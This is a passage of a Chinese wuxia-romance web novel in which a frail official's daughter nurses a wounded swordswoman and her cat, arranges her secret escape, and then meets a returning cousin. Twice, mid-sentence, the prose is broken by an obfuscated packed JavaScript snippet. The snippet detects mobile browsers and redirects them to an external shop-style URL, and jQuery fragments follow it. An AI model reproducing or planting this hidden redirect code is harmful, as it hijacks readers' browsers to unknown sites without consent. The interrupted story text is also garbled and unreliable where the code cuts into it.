《深闺有毒,与她共江湖》 2. 家道中落而来投亲的表小姐 天光微熹时,林清晚醒了。 她睡眠向来很浅,一点动静便会惊醒。睁开眼,首先映入眼帘的,是贵妃榻上那个依旧昏迷的黑衣女子,然后是蜷在她枕边,发出细小呼噜声的橘猫“阿橘”。 那女子脸色比昨夜好了些,嘴唇不再泛着中毒的青紫色,只是眉头依旧紧锁,仿佛在梦中也不得安宁。 右手松开了,那几根猫毛落在榻边。左手的短刃,却仍被下意识地握在掌心。 林清晚悄无声息地起身,走到榻边,伸手探了探她的额温。 有点烫,但不算高热,是受伤后的正常反应。她又看了看包扎好的肩头,没有渗血,药效看来不错。 “阿橘”似乎感觉到了动静,耳朵动了动,睁开琥珀色的眼睛,看到林清晚,细声细气地“喵”了一声,挣扎着想起身。 林清晚轻轻按住它,检查了后腿的包扎,也没有问题。 她正思忖着如何处理这个“烫手山芋”,榻上的人睫毛忽然颤了颤,缓缓睁开了眼睛。 那是一双怎样的眼睛? 初醒时带着一丝茫然的雾气,随即迅速变得清明、锐利,像雪山上经年不化的冰,又像磨砺过的寒刃,瞬间锁定了近在咫尺的林清晚。 警惕、审视、评估……种种情绪在那双深褐色的眸子里飞快闪过,最后沉淀为一种近乎漠然的冷静。 她没有动,甚至没有试图坐起,只是静静地看着林清晚,仿佛在评估眼前这个脸色苍白、弱不禁风的世家小姐,究竟有多大的威胁。 林清晚也看着她,目光平静无波,既无惊吓,也无好奇,只是淡淡地开口,声音带着晨起时特有的微哑,却依旧清泠: “你肩上的伤,毒已经解了。伤口很深,需静养几日。” 黑衣女子似乎没料到是这样的开场白,眼中闪过一丝极细微的诧异。 她缓缓地、许试探性地动了动左肩,剧痛让她额角渗出冷汗,但那种令人麻痹无力的滞涩感确实消失了。 她沉默片刻,终于开口,声音因为干渴和虚弱而有些沙哑,却有种玉石相击般的质地:“你救了我?” “算是。”林清晚走到桌边,倒了一杯温水递过去,“你的猫,也在我这里。” 听到“猫”字,黑衣女子的眼神瞬间变了,锐利的审视中,掺入了一丝难以掩饰的急切:“阿橘?” “后腿受伤,已经包扎好了,无碍。”林清晚示意她看枕边。 黑衣女子顺着她的目光看去,见到那团熟悉的橘色毛球,紧绷的身体线条明显放松了些许。 她试图坐起,却牵动了伤口,闷哼一声,脸色又白了几分。 “别动了。”林清晚将水杯放到她手边的小几上,“你失了不少血,又中了毒,至少三天内不宜妄动。” 黑衣女子没有去拿水杯,只是看着她,目光重新变得锐利:“你是谁?这里是什么地方?” “我叫林清晚。这里是临安城林府,我父亲的宅邸。”林清晚在她对面的绣墩上坐下,姿态娴静,仿佛只是在招待一位寻常的客人,“你呢?” 黑衣女子沉默了片刻,似乎在权衡。窗外,清晨的鸟鸣声清脆地传来,衬得室内更加寂静。 “江寻。”她最终吐出两个字,简洁干脆,“一个过路的。” “过路的?” 林清晚眉梢几不可察地动了一下,目光掠过她手边的短刃、腰间的异域水壶、以及靴底干涸的奇特泥印。 “带着南海蓝焰砂的标记,中了北地黑蝎的毒,穿着西疆样式的皮靴……江姑娘这路,过得可真是天南海北。” 江寻瞳孔骤然收缩! 她死死盯住林清晚,方才刻意收敛的气势,此刻不受控制地一丝丝泄露出。 那是真正经历过生死搏杀、行走在刀锋之上的人,才会有的凛冽寒意。这种感觉弥漫开来,连空气似乎都冷了几分。 枕边的阿橘不安地动了动,发出一声呜咽。 林清晚却恍若未觉,只是抬手拢了拢耳边的碎发,动作优雅从容。晨光透过窗纱,在她苍白的脸颊上投下柔和的光晕,越发显得她柔弱无害。 可偏偏是这样一个看似风吹就倒的闺阁小姐,一口道破了她身上最关键的几个秘密。 “你怎么知道蓝焰砂?又怎么认得黑蝎的毒?”江寻的声音压得极低,每个字都像是从齿缝里挤出来的,带着冰冷的探究。 “久病成医,看过几本杂书罢了。” 林清晚的回答滴水不漏,神色平静得像在讨论今天的天气,“江姑娘不必紧张。我若对你有恶意,昨晚便不会救你,更不会费力解那黑蝎之毒。” 江寻审视着她,似乎在判断这句话的真伪。 良久,那逼人的气势缓缓收敛,但眼中的警惕并未减少分毫。“你想要什么?” “我什么也不要。”林清晚摇摇头,“只是,林府是清静之地,我父亲是朝廷命官,家风严谨。江姑娘伤势稍好后,还请自行离去,莫要带来不必要的麻烦。你我就当做没见过。” 这话说得客气,意思却很明白:救你是顺手,但不想惹祸上身。 江寻听懂了。她扯了扯嘴角,似乎想笑,却又因疼痛而变成了一个有些古怪的表情。“放心,我不会连累你。伤好即走。” “如此甚好。”林清晚站起身。 “你且休息,我会让丫鬟送些清淡的吃食和换洗衣物过来。对外,我只说你是远房表亲,来府中小住养病,莫要露了破绽。” “等等。”江寻叫住她,目光复杂地看了一眼枕边的阿橘,“它……谢谢你。” “不必,举手之劳。”林清晚走到门边,又停住脚步,没有回头,声音清淡地飘来—— “追杀你的人,用的是制式横刀,刀法刚猛,劈砍为主,应是军中出身,或者曾是军中之人。他们用的毒,是北地边军审讯俘虏时常用的‘蝎吻’,并非见血封喉的剧毒。江姑娘,你惹上的麻烦,恐怕不小。” …… 说完,她轻轻推门出去,留下江寻一个人,僵在榻上,眼中翻涌着惊涛骇浪。 这个林清晚……她究竟是谁?! 仅仅从伤口和残留的毒,就能推断出这么多?而且如此精准! 江寻的后背,渗出冷汗。 她行走江湖多年,深入大漠,远航海岛,什么奇人异事没见过?可像林清晚这样,身处深闺,看似弱不禁风,却眼力毒辣、心思缜密到如此地步的女子,她也是第一次见。 她下意识地握紧了手中的短刃。冰凉的触感,让她纷乱的心绪稍微镇定下来。 无论如何,现在最重要的是养好伤。这里,似乎暂时是安全的。 她侧过头,看着枕边呼吸平稳的阿橘,伸出没有受伤的右手,极其轻柔地摸了摸它的小脑袋。 阿橘闻到了熟悉的气息,蹭了蹭她的手指,喉咙里发出满足的呼噜声。 江寻冷硬的嘴角,几不可察地软化了一丝。 门外,林清晚并未走远。她站在廊下,晨风拂动她月白色的衣裙,像是一株随时会随风而去的玉兰。 青杏端着铜盆和布巾走过来,看到她站在门外,有些惊讶:“小姐,您怎么这么早就起了?脸色不太好,可是昨夜没睡安稳?” 她说着,下意识地想往屋里看。 “无妨。”林清晚侧身挡住她的视线,接过铜盆,“表小姐还没醒,让她多睡会儿。去准备些清粥小菜,再找两套我未曾上过身的素净衣裙,尺寸……按比我略高、肩稍宽的来准备。” “表小姐?”青杏一愣,林家哪来的表小姐?她自幼跟在林清晚身边,对林家亲眷了如指掌。 “是母亲那边一位远房姨母的女儿,家道中落,来投亲的。昨夜才到,身子有些不适,我便让她在我这里歇下了。” 林清晚面不改色地撒着谎,语气平静自然,“此事莫要声张,尤其不要惊动父亲母亲。表小姐喜静,也不愿多见人,饮食起居就在清漪院,你亲自照料。” 青杏虽满心疑惑,但见小姐神色认真,不似玩笑,更不敢多问,只低头应道:“是,奴婢明白了。” “去吧。”林清晚端着水盆,转身又推门进了屋。 屋内,江寻已经挣扎着半坐起来,靠着软枕,正望着窗外发呆。 听到动静,她立刻转过头,眼神又恢复了那种警觉的锐利。 “你的丫鬟?” “嗯,她叫青杏,我贴身的人,信得过。”林清晚将水盆放在架子上,绞了帕子递过去,“擦把脸吧。” 江寻迟疑了一下,还是接过温热的布巾。 布巾上带着淡淡的、清雅的梅花香气,与她惯常闻到的风沙、血腥、汗水的气味截然不同。她胡乱擦了擦脸和手,感觉精神稍振。 “你的伤,每日需换一次药。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391783|200315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林清晚从药箱里拿出一个白瓷瓶,“这是生肌散,晚上我会再来帮你换。这期间,尽量不要动用左臂,更不可与人动手。” 江寻点了点头,忽然问道:“你父亲是礼部侍郎林如海?” “你认得家父?” “林侍郎清名在外,略有耳闻。”江寻淡淡道,眼中却闪过一丝几不可察的复杂神色。 林清晚敏锐地捕捉到了这一丝异样,却没有追问,只是淡淡开口:“既如此,你更应该知道林府不宜卷入是非。江姑娘,不管你因何被追杀,在此养伤期间,还请安分守己,莫要生事。” 江寻抬眼,直视着林清晚:“我答应的事,从不反悔。” 两人目光相对,一者平静如水,一者锐利如冰,在晨光中对峙了片刻。 最终,是林清晚先移开了视线。“如此最好。你先休息,早膳稍后送来。” 她将干净衣物放在榻边,又检查了一下阿橘的伤势,便转身离开了内室,去了外间书房。 江寻看着那抹纤细柔弱的背影消失在屏风后,又低头看了看自己肩上包扎得整齐妥帖的伤口,还有手边那瓶触手生温的白瓷药瓶,眼神晦暗不明。 这位林大小姐,实在太过不同寻常。 她闭上眼,昨夜遇袭的情景在脑海中一一闪过—— 对方人数众多,训练有素,配合默契,出手狠辣,目的明确就是要活捉她。 她且战且退,好不容易才利用对地形的熟悉甩掉大部分追兵,却被其中一人的刀锋扫中肩头。蝎毒发作很快,她拼着最后一丝清明,翻入这看似高门大户的院墙,隐约记得撞到了一团毛茸茸的东西,隐约觉得是只猫,之后便失去了意识。 没想到,竟被这样一位闺阁小姐所救,还一眼看破了她身上存在的诸多隐秘。 是巧合,还是有意? 若是后者…… 江寻的手指,无意识地摩挲着短刃的柄。那冰凉的触感,让她纷乱的心绪渐渐沉静下来…… 无论如何,兵来将挡,水来土掩。当务之急,是尽快恢复。 她重新躺下,闭上眼,强迫自己休息。 常年行走在危险边缘养成的习惯,让她能迅速抓住任何恢复体力的机会。 外间书房,林清晚坐在书案后,面前摊着一本《南华经》,目光却落在虚空中。 江寻……这个名字很陌生。但她身上的疑点太多了。 蓝焰砂是南海“听涛阁”追踪高手的独门标记,听涛阁拿钱办事,在江湖和朝堂的灰色地带游走,名声复杂。 黑蝎毒是北境军方流传出来的方子,虽不算绝密,但寻常江湖人也难以弄到。 还有那靴子,那短刃的形制…… 这个女子牵扯的,恐怕不仅仅是江湖恩怨那么简单。 更让她在意的是,江寻听到父亲名字时,那一闪而逝的异样。 父亲林如海,官声清廉,为人方正,是朝中有名的“老古板”,向来不参与党争,只埋头礼部事务。 他会和这样一个身负秘密、被多方追杀的江湖女子,产生什么关联吗? 林清晚轻轻按了按太阳穴。她身体不好,思虑过甚便会头疼。 父亲常说,女儿家只需娴静贞雅,读书只为怡情养性,不必理会外间纷扰。母亲更是将她如珠如宝地护着,生怕她受一点风吹草动。 可不知从何时起,她已不再是那个只能躲在深闺、对着一方天地发呆的病弱少女了。 那些晦涩的医书毒经,那些光怪陆离的江湖异闻,那些被父亲斥为“杂学”“小道”的东西,早已为她打开了另一扇窗,让她看到了这个世界截然不同的、暗流汹涌的一面。 如今,这暗流,似乎正以一只猫、一个受伤女子的形式,悄然漫入了她的院墙。 “小姐,早膳备好了。”青杏的声音在门外响起。 林清晚收回思绪,恢复了惯常的平静神色。“送进来吧,一份送到内室给表小姐,一份摆在外间即可。” “是。” 早膳很简单,碧粳米粥,几样清淡小菜,还有一笼水晶虾饺。林清晚只用了小半碗粥,便搁下了筷子。 内室很安静,江寻似乎也吃完了。 林清晚走到窗边,推开支摘窗。清晨湿润的空气涌进来,带着泥土和花草的清新气息。池塘边的垂柳抽出嫩绿的新芽,几只燕子掠过水面,点开圈圈涟漪。 3. “辞”行 江寻在林清晚的“清漪院”住了下来。 对外,她是前来投亲、体弱多病的远房表小姐“江寻”,因不喜见人,终日只在院中静养。 内里,却是林清晚主仆二人小心翼翼守护的秘密。 林清晚每日定时为她换药。江寻的伤恢复得很快,三天后,已能下榻在屋内缓慢走动。 那黑蝎毒造成的青黑色已完全褪去,伤口边缘开始长出粉嫩的新肉。林清晚配的药,效果奇佳。 只是两人之间,始终弥漫着一种微妙的、彼此试探的沉默。除了必要的问答,每天几乎都不交谈。 江寻大部分时间都在打坐调息,或是站在窗边,望着庭院里的景色出神。 她的目光悠远,仿佛穿透了眼前的粉墙黛瓦、小桥流水,落在了某个遥远而风沙弥漫的地方。 阿橘则成了她唯一的陪伴,总是安静地蜷在她脚边,或是被她抱在怀里,轻轻梳理着毛发。 林清晚依旧如常看书、弹琴、偶尔在院子里散步,只是去书房的次数明显多了。 她吩咐青杏,不经传唤,任何人不得进入内室打扰“表小姐”静养,连每日的洒扫,也由青杏亲自动手。 林府上下皆知大小姐身体娇弱,性情喜静,对此倒也未起疑心,只觉得这位表小姐恐怕比大小姐还要“风吹不得”,更添了几分同情。 第四日午后,天空飘起了蒙蒙细雨,将整个庭院笼罩在一片烟青色中。 林清晚正在书房整理几本新得的医书手札,忽然听到内室传来一声轻微的闷响,像是什么东西落地的声音。 她放下书卷,走到内室门前,轻声问:“江姑娘?” 里面沉默了片刻,才传来江寻有些压抑的声音:“……无事。” 林清晚推门进去,只见江寻半跪在榻边,正试图用右手去捡起滚落在脚踏下的水杯。 她脸色比平时更白,额角有细密的汗珠,左肩处的衣物隐隐透出一点殷红。 “别动。”林清晚快步上前,扶住她的手臂,触手只觉一片冰凉,还带着细微的颤抖。 “伤口裂开了?” 江寻咬了咬牙,没有否认,只是低声道:“……想倒杯水。” 林清晚将她扶回榻上坐好,看了一眼她肩上晕开的血迹,转身去外间取来药箱。 这次,她没有多言,只是沉默地解开她肩头的棉布。 果然,伤口因方才的动作,崩开了一道小口,正缓缓渗血。 重新清洗、上药、包扎。林清晚的动作依旧轻柔熟练,只是眉头微微蹙着。 “你这伤,看着不深,但对方刀势猛,伤了经脉。若不好生将养,日后左臂用力,恐有滞碍。”她一边缠上新的棉布,一边淡淡道,声音里没有任何情绪。 江寻垂着眼,看着自己放在膝上的右手,骨节分明,虎口和指腹都有厚厚的茧子,是常年握持兵刃留下的痕迹。与林清晚那双白皙纤柔、只该执笔抚琴的手,截然不同。 “习惯了。”她低声说,顿了顿,又补了一句,“多谢。” 林清晚打好最后一个结,收拾好药箱,却没有立刻离开。她站在榻边,目光落在江寻没什么血色的侧脸上,忽然问道:“追杀你的人,还在外面吗?” 江寻猛地抬眼,目光如电。 “不必紧张。我只是在想,你伤好之后,如何离开临安城。” 林清晚走到窗边,望着窗外淅淅沥沥的雨丝,“临安是帝都,城门守卫森严,进出皆有盘查。你带着伤,又可能被人追踪,想悄无声息地离开,并非易事。” 江寻沉默了一会儿,才道:“我自有办法。” “你的办法,就是等夜深人静,翻墙而出?”林清晚转过身,看着她。 “且不说你伤势未愈,能否避过府中巡夜的家丁。即便出了林府,临安城夜间亦有武侯巡街,你如何躲过?更何况,对方既然用上了蓝焰砂,追踪之术想必不弱。你身上,可还有余留的标记?” 江寻放在膝上的手指,几不可察地蜷缩了一下。 林清晚看在眼里,走到妆台前,打开一个不起眼的紫檀木小盒,从里面取出一个巴掌大的扁圆瓷罐,走回榻边,递给她。 “用这个,涂抹全身,尤其是发间、耳后、指缝等处。气味有些特殊,但可暂时掩盖和干扰大部分追踪药物,包括蓝焰砂。时效大约六个时辰。” 江寻接过瓷罐,入手微凉。打开盖子,里面是一种半透明的淡绿色膏体,散发出一种清苦的、类似草药混合着薄荷的奇异气味。 她抬头看向林清晚,眼中是毫不掩饰的惊疑。 “你到底是谁?”这个问题,从她醒来那天就想问了。“一个礼部侍郎家的深闺小姐,如何懂得这些?” 林清晚在榻边的绣墩上坐下,姿态依旧娴雅,只是眉宇间掠过一丝极淡的、近似自嘲的神色。“我说了,久病成医,只不过看过一些杂书而已。” “杂书?”江寻扯了扯嘴角,显然不信,“什么杂书,能教你识得蓝焰砂,能解黑蝎毒,还能配出这等干扰追踪的药物?” “《南海异物志》、《北疆风物考》、《奇门方技辑要》……”林清晚随口报出几个书名,声音平静无波,“父亲藏书颇丰,我又常年卧病,无事可做,便都拿来翻了翻。看得多了,自然就记住一些。” 她说得轻描淡写,仿佛只是记下了几个菜谱。 可江寻行走江湖多年,深知这些“杂书”要么是孤本秘录,要么是各家不传之秘,一个闺阁女子,如何能轻易看到?更遑论记住、理解,甚至运用自如。 这个林清晚,身上谜团重重,绝不似外表这般柔弱简单。 “你救我,当真只是顺手?”江寻问出了心底最深的疑虑,“不怕惹祸上身?你既知追杀我的人不简单,就该把我交出去,或者干脆置之不理,才是明哲保身之道。” 林清晚抬眸,看向她。那双总是平静无波的杏眼里终于微微颤动,映着窗外透进来被雨水洗过的天光,清澈又幽深。 “我看见了阿橘。”她忽然说道,声音很轻,“你昏迷的时候,一直握着它的毛。为了它,你宁愿暴露行踪,被砍中一刀,也要折返回去确认它的安危,是吗?” 江寻呼吸一滞。 “我救你,或许是因为……”林清晚顿了顿,目光掠过榻角正舔着爪子的小橘猫,“我觉得,一个会在自身难保时,还记挂着一只小兽性命的人,总不会是大奸大恶之徒。” 这个理由,简单得近乎天真。可江寻看着林清晚平静无波的眼睛,却奇异地感觉到,她说的是真心话。 至少,是部分的真心话。 “至于明哲保身……”林清晚微微偏过头,看向窗外雨幕中摇曳的竹影,侧脸在微光中显得有些朦胧,“这世上,哪有真正能置身事外的地方。有时候,麻烦不是你想躲,就能躲得掉的。” 她声音很轻,像是在对江寻说,又像是在自言自语。 江寻心头莫名一震。她忽然意识到,眼前这个看似被保护得滴水不漏的世家贵女,或许也有她的无奈,她的枷锁,她不得不面对的、来自高门深院内的风波暗涌。 室内一时陷入沉默,只有窗外淅淅沥沥的雨声,和炭盆里银骨炭偶尔爆出的噼啪轻响。 良久,江寻握紧了手中的瓷罐,低声道:“这药,我会用。多谢。” “不必。”林清晚站起身,“你好生休息。若需要什么,可让青杏告知我。” 她走到门边,又停住,没有回头,只留下一句话:“伤好之前,莫要再乱动。你若真想走,也得有力气走出临安城才行。” 门被轻轻带上。 江寻独自坐在榻上,看着手中淡绿色的药膏,又看了看枕边睡得正香的阿橘,眼神复杂难明。 接下来的两日,江寻果然安分了许多,不再试图下榻走动,只是安静地打坐调息。林清晚配的药确实神奇,加上她本身内力不弱,体质强健,伤势恢复得一日快过一日。 第六日清晨,江寻拆开肩头的棉布,见伤口已愈合大半,只留下一道粉红色的新疤。她试着活动左臂,虽还有些僵硬疼痛,但已无大碍。 是时候了。 她换上了青杏送来的、林清晚的旧衣裙—— 月白色的交领襦裙,浅碧色的比甲,料子柔软舒适,只是尺寸对她稍有些紧,尤其肩背处,能看出常年习武留下不同于闺阁女子的紧实线条。 她将长发用一根简单的木簪挽起,又对着模糊的铜镜,用林清晚给她的一盒深色脂粉,略微加深了肤色,修饰了过于鲜明的五官轮廓。 镜中的人,少了几分锐利逼人的英气,多了几分病弱的苍白,倒真有几分因家道中落而来投亲的远房表小姐模样了。 阿橘似乎感觉到她要走,不安地绕着她的脚踝打转,细声叫着。 江寻蹲下身,摸了摸它毛茸茸的小脑袋,低声道:“阿橘,你留在这里,比跟着我安全。” 这小猫是她三个月前在西域商道上捡到的,那时它不过巴掌大,饿得奄奄一息。她一时心软,用羊奶喂活了它,这小东西便赖上了她,一路跟着她穿越大漠,远渡重洋,又回到中原。 这次遇袭,她本已将它藏在安全处,没想到它自己循着气息找了过来,还险些丧命。 她将它抱起,放到床榻最里面,用被子轻轻盖了盖。“好好养伤,那位林小姐……会照顾好你的。” 说完,她不再犹豫,从怀中取出那个扁圆瓷罐,挖出一些淡绿色药膏,仔细涂抹在颈后、手腕、耳后等处。 清苦冰凉的气息弥漫开来。 做完这一切,她推开窗户。天色尚早,晨雾未散,清漪院内一片寂静,只有早起的鸟儿在枝头啁啾。 她回头,最后看了一眼这间住了六日、充满药香和书卷气的雅致闺房,然后身形一动,如一片轻盈的叶子,悄无声息地翻出窗外,落入庭院之中。 落地时,左肩伤口传来一阵钝痛,她闷哼一声,但脚下步伐丝毫不乱,几个起落,便已到了西墙根下。那日她就是从这里翻进来的。 提气,纵身,手已堪堪搭上墙头。就在此时—— “江姑娘这就要走? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391784|200315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连声招呼也不打一声吗?” 清清泠泠的声音,自身后不远处传来,不高,却足以让她听得清清楚楚。 江寻身形一僵,搭在墙头的手指猛地收紧。 她缓缓转过身。 只见庭院月洞门旁的湘妃竹下,林清晚正静静站在那里。她今日穿了一身雨过天青色的素面长褙子,外罩同色披风,怀里抱着一件叠好的、墨蓝色的衣物。 晨雾缭绕在她周身,让她看起来有些朦胧不清,只有那双眼睛,沉静地望着她,好似早已料到她会在此刻、以此种方式离开。 “林小姐。”江寻放下手,转过身,面对着她,心中警铃大作。她竟丝毫没有察觉林清晚是何时来到院中的!是对方脚步太轻,还是自己伤势未愈,警觉性降低了? “你的伤,并未好全。”林清晚走上前,将怀中的衣物递过来,“这是我让青杏改的,用的是府里护院的旧衣料,颜色深,不起眼,也宽松些,便于行动。你那身夜行衣,太过扎眼。” 江寻没有接,只是看着她。 林清晚也不在意,将衣物放在旁边的石凳上,又从袖中取出一个巴掌大的青色布袋。“这里面有几瓶常用的伤药、解毒丸,还有一小包金叶子,不多,但足够你路上盘缠。” 她顿了顿,又补充道,“从西侧角门出去,沿着后巷往南走,穿过两条街,有一家‘陈记’早点铺子,掌柜的是个独眼的老头。你给他看这个——” 她又拿出一枚不起眼但是边缘有些磨损的铜钱,放在布袋上。“——告诉他你要一碗不加葱花的阳春面,他会带你去后院。后院柴房有暗道,通往城外十里坡的土地庙。这是最快而且不经过城门盘查的出城路径。” 江寻彻底愣住了。 她看着石凳上叠放整齐的衣物、药袋,还有那枚边缘磨损的铜钱,又看向神色平静的林清晚,她仿佛只是在嘱咐丫鬟出门买盒点心,一时间竟不知该说什么。 “为什么?” 她最终只挤出这三个字。给她药,给她衣服,给她钱,甚至给她安排好退路……这已经远远超出了一个“顺手”相救的陌生人该做的范畴。 林清晚微微偏头,避开了她过于锐利的目光,看向墙头探出的一枝梨花。花瓣上凝着晨露,晶莹欲滴。 “或许是因为,你让我想起了一个人。”她声音很轻,带着一丝不易察觉的飘忽,“一个也曾向往着高墙之外,想要走遍天南海北,却终生未能踏出这四方庭院一步的人。” 江寻心头微动。她想起那日林清晚在窗前说的那句话——“这世上,哪有真正能置身事外的地方。” 这位林大小姐,似乎并不像表面看起来那样,满足于做一个养在深闺、不谙世事的病美人。 “那条暗道……”江寻缓缓开口,“安全吗?” “三年前,陈掌柜的儿子欠了赌债,被地下钱庄追杀,是我母亲暗中周旋,保下了他儿子一条命,又帮他还清了大部分债务。他欠林家一个人情。”林清晚简单解释道,“此事隐秘,知道的人不多。你从那里走,比翻城墙安全。而且……” 她看向江寻,目光清澈而直接:“你身上的追踪药物,时效有限。尽快离开临安范围,才是上策。” 江寻沉默片刻,终于伸出手,拿起了那枚铜钱。 “……多谢。”她将铜钱和布袋收起,又拿起那套墨蓝色的粗布衣裳。“林小姐今日相助之恩,江寻铭记在心。他日若有机会,定当……” “不必。”林清晚打断她,摇了摇头,“今日之后,你我只是陌路。你从未见过我,我也从未见过你。这些衣物、银钱,包括那条路,都只是林府对一位远房表亲的寻常接济,别无他意。” 她说得平静,却带着一种不容置疑的决绝。 江寻深深看了她一眼,那双总是锐利如冰的眼眸里,似乎有什么东西微微闪动了一下,最终归于沉寂。“我明白了。” 她不再多言,抱起衣物和布袋,对林清晚抱了抱拳——一个标准的江湖礼节。“保重。” “保重。” 江寻不再犹豫,转身,提气纵身,墨蓝色的身影轻盈地翻过墙头,消失在朦胧的晨雾之中,再无痕迹。 林清晚站在原地,看着空荡荡的墙头,看了许久。 晨风吹过,带来几片梨花瓣,落在她的肩头。她轻轻拂去,转身,缓步走回屋内。 阿橘从床榻深处钻出来,对着她细声细气地叫着,琥珀色的眼睛里,似乎有些不安。 林清晚走过去,将它抱起,轻轻抚摸着它柔软的皮毛。 “她走了。”她低声说,不知是对阿橘,还是对自己。 窗外的天光,渐渐亮了起来。清漪院又恢复了往日的宁静,仿佛那个黑衣墨发、眼神锐利的女子,从未出现过。 只是林清晚知道,有些东西,不一样了。 那个女子带来的,不仅仅是伤口、毒药和秘密,还有一丝来自高墙之外、广阔天地间凛冽而自由的风。 那风,悄然吹动了深闺的一角帘幕,露出了外面世界的、惊鸿一瞥的影子。 4. 表弟的到来 江寻离开后的第七日,清漪院一切如常。 林清晚晨起梳洗,用过早膳,便坐在窗边的书案前,翻阅一本前朝医家手札。青杏在一旁安静地研墨,阿橘蜷在铺了软垫的藤编小篮里,偶尔抬眼看看她,又懒懒地睡去。 一切都和过去十几年没什么不同。 只是青杏敏锐地察觉到,小姐这几日待在书房的时间更长了,有时会对着窗外某处出神,问她想吃什么,也常是淡淡一句“随意”。 但若仔细看去,小姐的神色依旧平静,举止依旧优雅,并无半分异样。 或许,只是春困吧。青杏这样想。 午后天色转阴,渐渐沥沥下起了雨。林清晚合上医书,走到琴案前,信手拨了几个音。琴声泠泠,在雨声中显得有些清寂。 “小姐,”青杏端着一盅刚炖好的冰糖燕窝进来,轻声道,“夫人院里的翠缕姐姐刚才来过,说老爷明日休沐,夫人想在花厅摆一桌家宴,请小姐过去用晚膳。” 林清晚指尖一顿,琴音戛然而止。“可说了还有谁?” “翠缕姐姐说,夫人特意吩咐了,就自家人聚聚。老爷、夫人、小姐您,还有二房的三少爷。”青杏顿了顿,补充道,“三少爷前日刚从嵩山书院回来,说是要准备明年的秋闱。” 林清晚垂下眼帘,轻轻“嗯”了一声。 林家是临安城中的清流门第。 祖父曾官至礼部尚书,致仕后回钱塘老家荣养。 父亲林文修正值盛年,现任礼部右侍郎,官声颇佳。 母亲沈氏出身江南书香世家,性情温婉,持家有方。 林家子嗣不旺,林文修与沈氏只育有一女,便是林清晚。 二房叔父林文远外放为官,常年不在京中,其独子林景明,年方十七,自幼在嵩山书院读书,算是林家这一辈唯一的男丁。 所谓“自家人聚聚”,其实也就是这寥寥数人。 “我知道了。”林清晚重新拨动琴弦,是一曲《平沙落雁》。“你去回母亲,我明日会准时过去。” “是。”青杏应下,却没有立刻离开,犹豫了一下,小声道: “小姐,夫人似乎……似乎有意让三少爷多在府里住些日子,说是老爷可以亲自指点他文章。翠缕姐姐还说,夫人前几日特意收拾了外院的‘听竹轩’,一应陈设都是照着三少爷的喜好来的。” 林清晚的指尖在琴弦上轻轻滑过,带出一串流水般的清音。“三弟是林家独苗,母亲多关照些,也是应当的。” 她的声音很平静,听不出什么情绪。 青杏却不知怎的,心里有些发紧。她服侍小姐多年,知道小姐看似柔弱,心思却比谁都通透。 三少爷这个节骨眼回府长住,老爷和夫人的心思,小姐怎么会不明白? 可小姐什么都没说,只是继续弹着琴。琴声在雨幕中流淌,清冷而疏离。 青杏不敢再多话,悄悄退了出去。 琴声未停。林清晚的目光落在窗外被雨水洗得发亮的芭蕉叶上,思绪却有些飘远。 三弟林景明,比她小两岁。小时候倒是常在一起玩耍,后来她“病”了,常年闭门静养,他便被送去了嵩山书院,一别数年,去年春节回来时,已是个身量挺拔、言行有度的少年郎,对着她规规矩矩地叫“大姐姐”,眼神里却带着几分陌生和疏离。 如今他回来,是要准备秋闱,还是有别的打算? 琴声渐急,如雨打芭蕉。 翌日傍晚,雨停了,天边露出一抹淡淡的霞光。 林清晚换了身藕荷色绣折枝玉兰的褙子,月白长裙,发间只簪了一支素银镶白玉的簪子,由青杏陪着,往主院的花厅去。 还未进门,便听得里面传来阵阵笑语。一个清亮的少年声音正朗声说道:“……伯父教诲的是,侄儿在书院时,也常听先生言,为文当有气骨,不可一味追求辞藻华丽……” ——是林景明。 林清晚脚步微顿,整理了一下衣袖,这才缓步走入花厅。 花厅内灯火通明。 主位上坐着父亲林文修,年约四旬,面容清癯,颌下三缕长须,穿着家常的靛蓝色直裰,正含笑听着。 母亲沈氏坐在他下首,穿着绛紫色缠枝牡丹纹的褙子,显得端庄雍容。 她身侧站着个少年,正是林景明,一身宝蓝色锦袍,身姿挺拔,眉目俊朗,正侃侃而谈,神采飞扬。 “晚儿来了。”沈氏先看见了她,脸上笑容更深,招手道,“快过来,就等你了。” “父亲,母亲。”林清晚上前,规规矩矩地行了礼。又转向林景明,微微颔首:“三弟。” 林景明停下话头,转过身,看见林清晚,眼中掠过一丝惊艳,随即恢复如常,拱手行礼,语气恭敬:“大姐姐。” “自家人,不必多礼。”林文修温和地笑了笑,指了指身侧的座位,“晚儿坐吧。你身子弱,今日天气转凉,可还觉得不适?” “劳父亲挂心,女儿很好。”林清晚在沈氏下首的绣墩上坐下,姿态娴静。 侍女们开始布菜。菜式不算奢华,但很精致,多是江南口味,清淡可口。 席间,林文修问了些林景明书院里的功课,又考较了他几句经义,林景明对答如流,看得出功底扎实。林文修捻须点头,颇为满意。 “景明这次回来,就安心在府里住下。听竹轩已经收拾好了,离我的书房也近,有什么疑问,随时可来问我。” 林文修又言道,“秋闱是大事,不可懈怠,但也需张弛有度。你大姐姐身子不好,你平日无事,也多去清漪院走走,陪她说说话,免得她总是一个人闷着。” 林景明连忙应下:“是,侄儿记下了。大姐姐若有什么需要的,尽管吩咐。” 林清晚浅浅一笑:“有劳三弟了。” 